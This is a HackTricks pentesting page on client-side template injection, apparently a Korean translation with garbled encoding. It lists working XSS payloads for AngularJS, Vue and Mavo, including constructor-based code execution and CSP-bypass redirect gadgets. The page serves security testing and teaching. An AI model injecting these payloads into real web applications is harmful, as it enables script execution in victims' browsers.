ν΄λΌμ΄μ–ΈνŠΈ μ‚¬μ΄λ“œ ν…œν”Œλ¦Ώ μΈμ μ…˜ (CSTI)

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

μš”μ•½

μ΄λŠ” μ„œλ²„ μ‚¬μ΄λ“œ ν…œν”Œλ¦Ώ μΈμ μ…˜(Server Side Template Injection)κ³Ό μœ μ‚¬ν•˜μ§€λ§Œ ν΄λΌμ΄μ–ΈνŠΈμ—μ„œ λ°œμƒν•©λ‹ˆλ‹€. SSTIλŠ” 원격 μ„œλ²„μ—μ„œ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 있게 ν•΄μ£Όμ§€λ§Œ, CSTIλŠ” ν”Όν•΄μžμ˜ λΈŒλΌμš°μ €μ—μ„œ μž„μ˜μ˜ JavaScript μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 있게 ν•΄μ€λ‹ˆλ‹€.

이 취약점을 ν…ŒμŠ€νŠΈν•˜λŠ” 것은 SSTI의 κ²½μš°μ™€ 맀우 μœ μ‚¬ν•˜λ©°, μΈν„°ν”„λ¦¬ν„°λŠ” ν…œν”Œλ¦Ώμ„ κΈ°λŒ€ν•˜κ³  이λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, {{ 7-7 }}와 같은 νŽ˜μ΄λ‘œλ“œλ₯Ό μ‚¬μš©ν–ˆμ„ λ•Œ, 앱이 μ·¨μ•½ν•˜λ‹€λ©΄ 0을 λ³Ό 수 있고, κ·Έλ ‡μ§€ μ•Šλ‹€λ©΄ μ›λž˜μ˜ {{ 7-7 }}λ₯Ό λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€.

AngularJS

AngularJSλŠ” HTMLκ³Ό μƒν˜Έμž‘μš©ν•˜λŠ” 널리 μ‚¬μš©λ˜λŠ” JavaScript ν”„λ ˆμž„μ›Œν¬λ‘œ, μ§€μ‹œμ–΄λ‘œ μ•Œλ €μ§„ 속성을 톡해 μž‘λ™ν•©λ‹ˆλ‹€. κ·Έ 쀑 ν•˜λ‚˜κ°€ **ng-app**μž…λ‹ˆλ‹€. 이 μ§€μ‹œμ–΄λŠ” AngularJSκ°€ HTML μ½˜ν…μΈ λ₯Ό μ²˜λ¦¬ν•  수 있게 ν•˜μ—¬, 이쀑 μ€‘κ΄„ν˜Έ μ•ˆμ—μ„œ JavaScript ν‘œν˜„μ‹μ„ μ‹€ν–‰ν•  수 있게 ν•©λ‹ˆλ‹€.

μ‚¬μš©μž μž…λ ₯이 ng-app으둜 νƒœκ·Έλœ HTML 본문에 λ™μ μœΌλ‘œ μ‚½μž…λ˜λŠ” μ‹œλ‚˜λ¦¬μ˜€μ—μ„œλŠ” μž„μ˜μ˜ JavaScript μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” μž…λ ₯ λ‚΄μ—μ„œ AngularJS의 ꡬ문을 ν™œμš©ν•˜μ—¬ 달성할 수 μžˆμŠ΅λ‹ˆλ‹€. μ•„λž˜λŠ” JavaScript μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” 방법을 λ³΄μ—¬μ£ΌλŠ” μ˜ˆμ‹œμž…λ‹ˆλ‹€:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

당신은 AngularJS의 취약점에 λŒ€ν•œ 맀우 기본적인 온라인 예제λ₯Ό http://jsfiddle.net/2zs2yv7o/와 Burp Suite Academyμ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

[!CAUTION] > Angular 1.6μ—μ„œ μƒŒλ“œλ°•μŠ€κ°€ μ œκ±°λ˜μ—ˆμŠ΅λ‹ˆλ‹€ λ”°λΌμ„œ 이 λ²„μ „λΆ€ν„°λŠ” {{constructor.constructor('alert(1)')()}} λ˜λŠ” <input ng-focus=$event.view.alert('XSS')>와 같은 νŽ˜μ΄λ‘œλ“œκ°€ μž‘λ™ν•΄μ•Ό ν•©λ‹ˆλ‹€.

VueJS

당신은 https://vue-client-side-template-injection-example.azu.now.sh/μ—μ„œ μ·¨μ•½ν•œ Vue κ΅¬ν˜„μ„ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.
μž‘λ™ν•˜λŠ” νŽ˜μ΄λ‘œλ“œ: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

그리고 μ·¨μ•½ν•œ 예제의 μ†ŒμŠ€ μ½”λ“œλŠ” μ—¬κΈ°μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

A really good post on CSTI in VUE can be found in https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

더 λ§Žμ€ VUE νŽ˜μ΄λ‘œλ“œλ₯Ό ν™•μΈν•˜μ„Έμš” https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

더 λ§Žμ€ νŽ˜μ΄λ‘œλ“œλŠ” https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

무차별 λŒ€μž… 탐지 λͺ©λ‘

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°